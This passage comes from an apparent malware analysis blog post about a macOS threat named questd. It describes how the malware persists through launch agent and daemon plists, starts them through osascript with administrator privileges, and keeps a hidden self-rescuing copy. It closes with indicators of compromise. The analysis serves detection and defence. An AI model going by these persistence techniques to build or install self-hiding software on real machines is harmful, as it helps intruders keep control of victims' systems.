cat /Users/user/Library/LaunchAgents/com.apple.questd.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>questd</string> <key>ProgramArguments</key> <array> <string>/Users/user/Library/AppQuest/com.apple.questd</string> <string>--silent</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <true/> </dict>
As the RunAtLoad
key is set to true
the malware (com.apple.questd
) will be automatically restarted each time the user logs in.
Of course BlockBlock detects this persistence attempt 😇
install_daemon
function again, but this time passing in arguments specifying that a launch daemon should be created:
$ cat /Library/LaunchDaemons/com.apple.questd.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>questd</string> <key>ProgramArguments</key> <array> <string>sudo</string> <string>/Library/AppQuest/com.apple.questd</string> <string>--silent</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <true/> </dict>
Once the malware has ensured it is persisted (twice, if running as root!), it invokes the ei_selfretain_main
to starts the launch item(s). This function invokes the aptly named run_daemon
which in turn invokes macOS osascript
binary to launch the items. We can observe this via a process monitor, for example, when the malware starts the launch daemon:
# procInfo [process start] pid: 1142 path: /usr/bin/osascript user: 0 args: ( osascript, "-e", "do shell script \"launchctl load -w /Library/LaunchDaemons/com.apple.questd.plist;launchctl start questd\" with administrator privileges" )
Once the malware was persisted and kicked off the launch items, it invokes a function named create_rescue_executable
to create yet another copy of itself. This copy will made in the user’s Library
directory. Its named starts with a .
so that it won’t show up in the UI (i.e. Finder.app
), and is then followed via 9 random characters. For example: ~/Library/.9W4S5dtNK
.
The malware also appends a some trailer data to this copy:
The contents of this file are also saves in global variable named priv_rescue_data
, which allows the malware to ‘rescue’ itself if it deleted from disk (yet still running in memory).
Looking at the cross-references to this variable reveal its (later) references in function such as resque_myself
and persist_executable
…clearly this malware doesn’t want to be removed from an infected system!
Via a process monitor, we can observe the malware then kicking off this “configured” copy via the launchctl submit -l ...
command:
[procInfo] process start: pid: 737 path: /bin/launchctl user: 501 args: ( launchctl, submit, "-l", questd, "-p", "/Users/user/Library/.9W4S5dtNK" ) [procInfo] process start: pid: 738 path: /Users/user/Library/.9W4S5dtNK user: 0 ...
So, now the malware has persisted and launched a configured (i.e. with “trailer” data) instance of itself. What does it appear to do? Actually a lot! … pop over to part two, to read all about it!
Today, we triaged an interesting piece of new malware - detailing its infection vector, persistence, and anti-analysis logic.
Though new, our (free!) tools such as BlockBlock and RansomWhere? were able to detect and thwart various aspects of the attack …with no a priori knowledge!
IoCs:
/Library/mixednkey/toolroomd
/Library/AppQuest/com.apple.questd
~/Library/AppQuest/com.apple.questd
/Library/LaunchDaemons/com.apple.questd.plist
~/Library/LaunchAgents/com.apple.questd.plist
Note though if you are infected, due to the malware’s viral infection capabilities, it is recommended that one wipes the infected system and fully reinstalls macOS.
You can support them via my Patreon page!
[